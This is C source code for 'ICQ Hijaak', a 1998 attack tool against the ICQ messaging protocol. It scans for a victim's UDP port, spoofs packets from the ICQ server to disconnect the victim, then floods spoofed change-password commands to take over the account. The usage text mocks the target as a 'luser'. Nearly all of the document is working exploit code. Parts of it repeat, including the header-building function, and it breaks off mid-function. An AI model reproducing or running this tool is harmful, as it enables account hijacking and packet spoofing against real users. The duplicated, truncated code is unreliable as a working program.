                        if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
                                (dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
                                continue;
                        len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
                        icmphdr = packet + len;
                        if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
                                (byte(*icmphdr,ICMP_CODE ) != 3 )  )
                                continue;
                        fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
                        len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
                        if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
                                ( (dword(*fiphdr, IP_DST ) !=
                                *((u32 *)&addr)  ) )   )
                                continue;
                        fudphdr = fiphdr + len;
                        got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;

                        if ( ( got_port >= cur_min ) &&
                                ( got_port < (cur_min+cur_max) ) ) {
                                cur = Current[ got_port - cur_min ];

                                PREV( NEXT(cur)  ) = PREV( cur );
                                NEXT( PREV(cur) ) = NEXT( cur );

                                PREV( cur ) = PREV( UNUSED_TAIL );
                                NEXT( cur ) = UNUSED_TAIL;
                                NEXT( PREV( cur ) ) = cur;
                                PREV( NEXT( cur ) ) = cur;

                                cnt++;
                                continue;
                        }
                        /*
                         * if we get here, then it was one of the older
                         * ones, so look through the array for it
                         */
                        cur = NEXT( LIVE_HEAD );
                        while ( NEXT(cur) != -1 ) {
                                if ( PORT(cur) == got_port ) {

                                        PREV( NEXT(cur)  ) = PREV( cur );
                                        NEXT( PREV(cur) ) = NEXT( cur );

                                        PREV( cur ) = PREV( UNUSED_TAIL );
                                        NEXT( cur ) = UNUSED_TAIL;
                                        NEXT( PREV( cur ) ) = cur;
                                        break;
                                }
                                cur = NEXT(cur);
                        }
                        if ( NEXT(cur) == -1 ) {
                                printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
                                        got_port);
                        } else {
                                cnt++;
                        }

                }
                printf("[UDP Scan working] Got %d responses \n", cnt );
 

                if  ( cnt < ( (cur_send/4) * 3 ) ) {

                        cur_send /= 2;
                        if ( cur_send < 16 ) {
                                cur_send = 16;
                        }

                } else {
                        cur_send *= 2;
                        if ( cur_send > MAX_BURST ) {
                                cur_send = MAX_BURST;
                } } cur = NEXT( LIVE_HEAD );
                while ( NEXT(cur) != -1 ) {
                        if (!TIMES(cur) ) {
                                printf("SCORE!  Port is %d \n",PORT(cur));
                                close( s_icmp );
                                close( rawsock);
                                *tport = PORT(cur);
                                return SUCCESS;
                        }
                        cur = NEXT(cur);
                }

        }

        close( s_icmp );
        close( rawsock);
        return SUCCESS;
}
#define COMMAND_CHANGEPASSWORD  0x049C
#define COMMAND_LOGOFF  0x0438
#define RESPONSE_ERROR  0x00F0

int WritePacket(u8        * data_ptr,
                int     * size,
                char    * format,
                ...     )

{
        u8              * ptr;
        va_list         ap;
        u32             dword_param;
        u16             word_param;
        u8              byte_param;
        u8              * string_param;
        int             string_length;
        int             * data_length;

        ap = va_start( ap, format );
        ptr = data_ptr;

        while ( *format ) {
                switch ( *format++ ) {
                case 'L':  /* dword */
                        dword_param = va_arg(ap, u32 );
                        *(ptr++) = dword_param & 0xFF;
                        *(ptr++) = (dword_param >> 8 ) & 0xFF;
                        *(ptr++) = (dword_param >> 16) & 0xFF;
                        *(ptr++) = (dword_param >> 24) & 0xFF;
                        break;
                case 'W': /* word */
                        word_param = va_arg(ap, u16 );
                        *(ptr++) = word_param & 0xFF;
                        *(ptr++) = (word_param >> 8 ) & 0xFF;
                        break;
                case 'B': /* Byte */
                        byte_param = va_arg(ap, u8 );
                        *(ptr++) = byte_param;
                        break;

                case 'S': /* ICQ string */
                        string_param = va_arg(ap, u8 * );
                        string_length = strlen( string_param ) + 1;
                        *(ptr++) = (string_length ) & 0xFF;
                        *(ptr++) = (string_length >> 8)  & 0xFF;
                        memcpy( ptr, string_param, string_length );
                        ptr += string_length;
                        break;
                case 'D':  /* pure data with length byte */
                        data_length = va_arg(ap, int * );
                        string_param = va_arg(ap, u8 * );
                        memcpy( ptr, string_param , *data_length );
                        ptr += *data_length;
                        break;

                default:
                        fprintf(stderr,"Invalid type %c \n", *(format-1) );
                        return FAILURE;
                }

        }
        /* return the size taken up */
        *size = (ptr - data_ptr );
        return SUCCESS;
}
u32     icq_uin = -1;
u16     icq_seq = 0;
u16     icq_seq2 = 0;
#define ICQ4_VER        0
#define ICQ4_RANDOM     2
#define ICQ4_ZERO       4
#define ICQ4_COMMAND    6
#define ICQ4_SEQ        8
#define ICQ4_SEQ2       10
#define ICQ4_UID        12
#define ICQ4_CHECK      16
#define ICQ4_END        20
void create_icq4_hdr(
                u8      * data_ptr,
                u16     any_number,
                u16     command,
                int     data_size
                 )
{
u32     check;
u32     check2;
u32     keyvalue;
int     count;
int     length;
int     i;
u8      ofs;
u8      val;

length = data_size + ICQ4_END;

memset( data_ptr, 0, ICQ4_END );

word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID ) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;

check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
        ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % length; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256; val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65; keyvalue += check;
count = ( length + 3 ) / 4; count += 3; count /= 4;
for ( i = 0; i < count ; i++ ) {
        u32 * r;
        if ( i == 4 ) continue; r = (u32 *)(data_ptr + (i*4) );
 *r ^= (keyvalue + icq_check_data[i*4] ); }
word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
}

void    create_icq3_header(     u8 * data_ptr, int * size, u16  command,
u16  seq1, u16  seq2, u32  UIN )
{
        int     len, len2, err, ofs, val;
        u32     check, check2;

        err = WritePacket( data_ptr,&len, "WWWWL",
                0x03, command, seq1, seq2, UIN );
        if ( err == FAILURE ) {
                printf("Programmer Error in create_icq3_header\n"); exit(-1); }
        check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
                ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
        ofs = random() % len; val = *(data_ptr + ofs );
        check2 = ( ofs << 24 ) | ( val << 16 );
        ofs = random() % 256;
        val = icq_check_data[ ofs ];
        check2 |= ( ofs << 8 ) | ( val );
        check2 ^= 0x00FF00FF; check ^= check2;
        err = WritePacket( (data_ptr + len),&len2,"L", check );
*size = len + len2; }
static  u8      packet[ 1500 ];
void main( int argc, char ** argv );
void main(  int argc, char ** argv )
{
        int     count;
        int     i;
        u16     j, k;
        struct in_addr * addr_list;
        struct in_addr * target_list;
        int     err;
        struct in_addr  you;
        struct in_addr  me;
        int             rawsock;
        struct sockaddr raddr;
        struct sockaddr_in * r_in = (struct sockaddr_in *)&raddr;
        int     size;
        u8      * data_ptr;
        u8      * hdr_ptr;
        int     hdr_size;
        u16     your_port;
        int     retries;
        int     base_port;
        if ( argc < 5 ) {
                fprintf(stderr,
"--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"
"Author:  wumpus@innocent.com    *    Copyright (c) 1998  Wolvesbane\n"
"Usage: \n"
"       hijaak [options] icq-server target-uin target-ip new-password \n"
"\n"
"icq-server:    Packets will be *spoofed* from the (possibly plural) \n"
"               IP addresses of this parameter. \n"
"\n"
"target-uin:    D'Oh!  \n\n"
"target-ip:     Finding this is up to you.  May the farce be with you\n"
"\nnew-password: D'Oh! Take a guess \n"
"\nNo options are available at this time.\n" );
                exit(-1);
        }
        base_port = 0;
        if ( argc > 5 ) { base_port = atoi( argv[5] ); }
        if (!base_port)  base_port = 1024;
        icq_uin = atol( argv[2] );
        if ( !icq_uin ) {
                fprintf(stderr, "Who do you want me to kill, boss? \n");
                exit(-1); }
        err = MultiResolve(argv[3],&count,&target_list);
        if ( err == -1 ) { herror("Resolving target\n"); exit(-1); }
        if ( count > 1 ) { fprintf(stderr,
"Hey! Moron!  You need to specify an UNAMBIGUOUS victim IP. \n" );
                exit(-1); }
        you = target_list[0];
        free( target_list );
        err = MultiResolve(argv[1],&count,&addr_list);
        if ( err == -1 ){ herror("Resolving ICQ server"); exit(-1); }
        r_in->sin_port = htons( 1984 ); /* DON'T CARE */
        r_in->sin_family = AF_INET; r_in->sin_addr = you;

        hdr_ptr = packet + IP_END + UDP_END;

        rawsock = CreateRawSocket();

        printf("** Scanning for luser's ICQ port ...\n");

        your_port = base_port;
        while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port );
                if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh!  Can't find a target port.  Better check that target IP again!\n");
                        exit(-1); }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
                        fprintf(stderr,
"UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
                        continue; }
                break;
        }
        printf("*** Got luser's port at %d \n", your_port );
        create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0,
                0, icq_uin  ); retries = 3;
        while ( retries-- ) {
                printf("Trying to knock luser offline.  Attempt %d\n",
                        3 - retries );
                for ( i = 0; i < count ; i++ ) {
                        int     psize;

                        psize = IP_END + UDP_END + hdr_size;
                        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                                addr_list[i], you, 0x7F );
                        make_udp_hdr( packet, psize - IP_END, 4000,your_port );
                        err = sendto( rawsock, packet, psize, 0,
                                &raddr, sizeof(raddr));
                        if ( err != psize ) { perror("Sending"); exit(-1); }
                }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
                sleep( 3 );     /* Give 'em some time */
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
                sleep(3);
        }
        printf("Retries is %d \n", retries );
        if ( 0 > retries ) { fprintf(stderr,
"Uh Oh!  Something ain't working.  Can't toast the luser.  Sorry, dude.\n");
                exit(-1); }
        /* more time? how long does it take to reconnect? */
        sleep(16);
        printf("** Scanning for luser's _new_ ICQ port ...\n");
        while ( 1 ) {
                err = UDPScan(you, your_port, 65535, &your_port );
                if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find the new port!  Maybe your target is smarter than you?\n");
                        exit(-1); }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
                        fprintf(stderr,
"New UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
                        continue; } break; }
        printf("*** Got luser's new connection at %d \n", your_port );
        printf("*** Hijaaking account now...(*LONG* version)\n");
        for ( k = 0; k < 14 ; k++ ) {
                for ( j = 0; j < 14 ; j++ ) {
                        int     psize;
                        icq_seq = k; icq_seq2 = j;
                        data_ptr = hdr_ptr + ICQ4_END;
                        WritePacket( data_ptr, &size, "S",argv[4] );
                        create_icq4_hdr(hdr_ptr, random()&0xFFFF,
                                COMMAND_CHANGEPASSWORD, size );
                        hdr_size = ICQ4_END;

                        for ( i = 0; i < count ; i++ ) {
                                psize = IP_END + UDP_END + hdr_size + size;
                                make_ip_hdr( packet, psize, IPPROTO_UDP,
                                        0x666, 0, you, addr_list[i], 0x7F );
                                make_udp_hdr( packet, psize - IP_END,
                                        your_port, 4000);
                                err = sendto( rawsock, packet, psize, 0,
                                        &raddr, sizeof(raddr));
                                if ( err != psize ) { perror("Sending");
                                        exit(-1); } usleep( 1000 );
                                err = sendto( rawsock, packet, psize, 0,
                                        &raddr, sizeof(raddr));
                                if ( err != psize ) {
                                        perror("Sending");
                                exit(-1);
                                } } } }
        printf("Disconnecting the remote luser... \n");
        create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin  );
        for ( i = 0; i < count ; i++ ) {
                int     psize;
                psize = IP_END + UDP_END + hdr_size;
                make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                        addr_list[i], you, 0x7F );
                make_udp_hdr( packet, psize - IP_END, 4000,your_port );
                err = sendto( rawsock, packet, psize, 0,
                        &raddr, sizeof(raddr));
                if ( err != psize ) { perror("Sending"); exit(-1); } }
        free( addr_list );
}

/*------------------------------------------------------------------------------

  ICQ "Secret" check data.

  This data is LIKELY to be copyrighted by ICQ.  This data is used with this
  program under the Fair Use clause of the U.S. Copyright Code.

  The reason the use of this data falls under the Fair Use clause is that it
  is _NECESSARY_ for a program to use this data to interact with the ICQ
  protocol.  Without this data, a program would not be able to successfully
  determine if a packet's "checksum" was valid, nor be able to communicate
  with the ICQ server.

  The reader might choose to draw their own conclusions about a company that
  needs to not only obscure a their protocol, but make it awkward for 3rd
  parties to implement it.

 *----------------------------------------------------------------------------*/
unsigned char icq_check_data[256] = {
        0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
        0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
        0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
        0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
        0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
        0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
        0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
        0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
        0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
        0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
        0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
        0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
        0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
        0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
        0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
        0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
        0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
        0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
        0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
        0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
        0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
        0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
        0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
        0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
        0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
        0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
        0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
        0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
 

/*
 

                        1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |       4       |      0        |           RANDOM              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           ZEROS               |           COMMAND             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          SEQUENCE             |         SECOND SEQUENCE       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                              UIN                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             CHECK                             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/

typedef struct icq4_hdr
{
        unsigned char version[2] __attribute((packed)); /* 04 00 */
        unsigned short random __attribute((packed));    /* _why_?? */
        unsigned short zeros  __attribute((packed));    /* why not...? */
        unsigned short command __attribute((packed));
        unsigned short sequence __attribute((packed));
        unsigned short sequence2 __attribute((packed)); /* 1 isn't enuf! */
        unsigned long uid __attribute((packed));
        unsigned long checksum __attribute((packed)); /* pure paranoia! */
        unsigned char data[0];
} icq4_hdr;
 

#define ICQ4_VER        0
#define ICQ4_RANDOM     2
#define ICQ4_ZERO       4
#define ICQ4_COMMAND    6
#define ICQ4_SEQ        8
#define ICQ4_SEQ2       10
#define ICQ4_UID        12
#define ICQ4_CHECK      16
#define ICQ4_END        20

void create_icq4_hdr(
                u8      * data_ptr,
                u16     any_number,
                u16     command,
                int     data_size
                 )
{
u32     check;
u32     check2;
u32     keyvalue;
int     count;
int     length;
int     i;
u8      ofs;
u8      val;

length = data_size + ICQ4_END;

memset( data_ptr, 0, ICQ4_END );

word(*data_ptr, ICQ4_VER ) = 0x4;
word(*data_ptr, ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command;
word(*data_ptr, ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2;
dword(*data_ptr,ICQ4_UID ) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;

check = ( *(data_ptr + 8) << 24) |
        ( *(data_ptr + 4) << 16 ) |
        ( *(data_ptr + 2) << 8 ) |
        ( *(data_ptr + 6) );
/*
printf("First check is %08lx\n", check );
*/

#if 1
ofs = random() % length;
val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256;
val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val );
check2 ^= 0x00FF00FF;

#endif
#if 0
check2 = (( 0x04 ) << 24 ) |    /* TODO: make random */
         ( *(data_ptr + 4) << 16 ) |
         (( 231 ) << 8 ) |      /* ???? */
         (( 0x61 ) );
printf("Second check is %08lx\n", check );
check2 ^= 0x00FF00FF;

#endif
check ^= check2;

dword(*data_ptr,ICQ4_CHECK ) = check;

keyvalue = length * 0x66756B65;
keyvalue += check;
/*
printf("Length %d Key is %08lx \n", length, keyvalue );
*/

count = ( length + 3 ) / 4;
count += 3;
count /= 4;

for ( i = 0; i < count ; i++ ) {
        u32 * r;

        if ( i == 4 )
                continue;

        r = (u32 *)(data_ptr + (i*4) );
#if 0
        printf("Xoring %d %08lx with %08lx to get %08lx (check:%02x)\n",
                i, *r, keyvalue + icq_check_data[i*4],
                *r ^ (keyvalue+icq_check_data[i*4] ), icq_check_data[i*4] );
#endif
        *r ^= (keyvalue + icq_check_data[i*4] );
     &n